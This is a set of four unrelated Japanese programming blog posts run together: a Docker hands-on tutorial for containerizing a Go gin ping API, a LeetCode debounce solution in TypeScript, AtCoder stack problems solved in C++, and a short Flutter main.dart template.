1. コンテナ化する go アプリの準備
1. Dockerファイル作成
1. コンテナイメージ（docker image）作成
1. コンテナを起動（docker run）



# 準備
コンテナ化するアプリを準備します
golang で gin を使った簡単な API です
`/ping`なエンドポイントを叩くと `pong`と応答します
コードはこんな感じ
```golang:main.go
package main

import (
	"net/http"

	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()
	r.GET("/ping", func(c *gin.Context) {
		c.JSON(http.StatusOK, gin.H{
			"message": "pong",
		})
	})
	r.Run()
}
```
`go run main.go`で起動して、curl でリクエストを投げるとこんな感じにレスポンスが返ってきます
```zsh
% curl localhost:8080/ping
{"message":"pong"}
```
今回は、このアプリを内包した docker image を作成していきます

# Dockerfile の作成
作成した Dockerfile
```dockerfile
# ベースイメージとしてGoのバージョン1.21を使用
FROM golang:1.21

# 作業ディレクトリを `/usr/src/app` に設定
WORKDIR /usr/src/app

# `go.mod` と `go.sum` (依存関係の管理ファイル) をコンテナにコピー
COPY go.mod go.sum ./

# 依存関係をダウンロードし、キャッシュを利用してビルド
RUN go mod download

# プロジェクト全体をコンテナにコピー
COPY . /usr/src/app

# Goプログラムをビルド (CGOを無効化し、スタティックバイナリを作成)
# `CGO_ENABLED=0` は、C言語に依存しないビルドを意味する
# `-v` はビルドの詳細を表示し、`-o app` は出力ファイル名を `app` に指定
RUN CGO_ENABLED=0 go build -v -o app

# コンテナ実行時にビルドしたアプリケーションを起動
CMD ["./app"]
```


以下のコマンドで docker image 作成します
```zsh
docker build -t go-docker-handson-1 .
```
実際にイメージが作成されたか確認してみます
```zsh
docker images
REPOSITORY                  TAG                 IMAGE ID            CREATED             SIZE
go-docker-handson-1         latest              c490c80a2582        2 minutes ago       1.18GB 1.15GB
```
ちゃんと作成されてますね、よかった！
ファイルサイズが異様に大きいですが、これは使用しているベースイメージが `golang:1.21`なので、本来 go を動かすのに不要なファイルなんかが含まれているからです。
なので、実際に本番環境で動かす docker image を作る際には、もっと軽量なベースイメージを使ったり、マルチビルドとかするんですけど、この話はまた別の機会に。

では、実際に作った docker image を run して、アプリが起動するか確認してみます

```zsh
docker run -d go-docker-handson-1
[GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached.

[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.
 - using env:	export GIN_MODE=release
 - using code:	gin.SetMode(gin.ReleaseMode)

[GIN-debug] GET    /ping                     --> main.main.func1 (3 handlers)
[GIN-debug] [WARNING] You trusted all proxies, this is NOT safe. We recommend you to set a value.
Please check https://pkg.go.dev/github.com/gin-gonic/gin#readme-don-t-trust-all-proxies for details.
[GIN-debug] Environment variable PORT is undefined. Using port :8080 by default
[GIN-debug] Listening and serving HTTP on :8080


```
別ターミナルにて
```zsh
curl localhost:8080/ping
{"message":"pong"}%   
```
はい、ちゃんと期待通り動いてますね！よかった


# 最後に
今回作ったものは以下に公開しています
よかったら参考までに
https://github.com/Ixy-194/handson-go-doker/tree/main/handson-1


次回は docker image の軽量化とか、マルチビルドステージについて触れようかな、、、
ではでは。
LeetCodeを試しに解いてみた

# LeetCodeを解いてみた

## LeetCodeに挑んだ理由
きっかけは**単純なJavaScriptの文法をド忘れ**してしまったことです。
Webアプリの開発を行っているとデータフローや処理ばかりであまり文法的なことを書くことが少なかったからかもしれません。
かなりの衝撃を受けてもう一度文法とかアルゴリズムを学習しようと思いました。。。

## 問題
**30 Days of JavaScript**という問題(集?)を進めていて、今回は「Debounce」と言う問題を紹介します。

### どんな問題か
ざっくりと要約すると、
- 関数を返却する関数を定義する
- 引数は(fn: 実行する関数, t: m秒)
- 返却された関数は以下の機能を持つ
    - t秒後にfnを実行する
    - もしfnの実行前に再度呼ばれた場合はカウントをリセットして再カウントする  


という問題です。
詳しくはLeetCodeをご覧ください。
タイマーをした実行したい関数が呼ばれる前に実行をタイマーする関数を実行するとカウントをリセットするような処理です。
言葉で書いているとこんがらがりそうです。

## 作成したコード
```typescript
type F = (...args: number[]) => void

function debounce(fn: F, t: number): F {
    let timerId;
    return function(...args) {
        clearTimeout(timerId);
        timerId = setTimeout(() => fn(...args), t);
    }
};
```
## 方針
非同期処理の例の中でよく見るsetTimeoutは戻り値としてタイマーのIDを返却してくれます。
これをclearTimeoutでクリアしてあげればいいので関数が呼ばれた時にまずはクリアできるようにしています。

## まとめ
今回の問題は割とときやすかったですがこの問題の少し前の問題などは結構混乱しました。
まだまだだなと痛感しながらちまちまと問題を解いて行っています。
少しQiitaへの投稿も慣れてきたらもう少し難しい問題なども投稿していきたいです。
コメントなど是非是非よろしくお願いします！
【AtCoder】スタック（stack）の活用

## ポイント
- vectorで、push_backやpop_backを使って実装できる
- 配列の要素番号が、スタックでいう所の層番号に対応している

## 例題
[ABC307D - Mismatched Parentheses](https://atcoder.jp/contests/abc307/tasks/abc307_d)

```C++
#include <bits/stdc++.h>
using namespace std;

int main() {
  int N; string S;
  cin >> N >> S;
  
  vector<string> A;
  A.push_back("");
  for (char c : S) {
    if (c == '(') A.push_back("(");
    else if (c == ')') {
      if (A.size() == 1) A.back() += c;
      else A.pop_back();
    }
    else A.back() += c;
  }
  
  string ans = "";
  for (string a : A) ans += a;
  cout << ans << endl;
}
```

<br>

[ABC328D - Take ABC](https://atcoder.jp/contests/abc328/tasks/abc328_d)

```C++
#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (n); ++i)

int main() {
  string S; cin >> S;
  
  const string T = "ABC";
  const int M = T.size();
  string ans = "";
  rep(i, S.size()) {
    ans += S[i];
    if (ans.size() < M) continue;
    
    string str = ans.substr(ans.size() - M);
    if (str == T) rep(j, M) ans.pop_back();
  }
  
  cout << ans << endl;
}
```
Flutter main.dart

# Flutterで始めるmain.dartはこれがいい
Flutterの初期画面でなく、mainにはあまり書き込みたくないときの、コードです。

```main.dart

import 'package:flutter/material.dart';
import 'package:gdsc_research_paper/home_screen.dart';

void main() async {
  runApp(const MyApp());
}

class MyApp extends StatelessWidget {
  const MyApp({super.key});
  @override
  Widget build(BuildContext context) {
    // TODO: implement build
    return MaterialApp(
      home: HomeScreen(),
    );
  }
}

```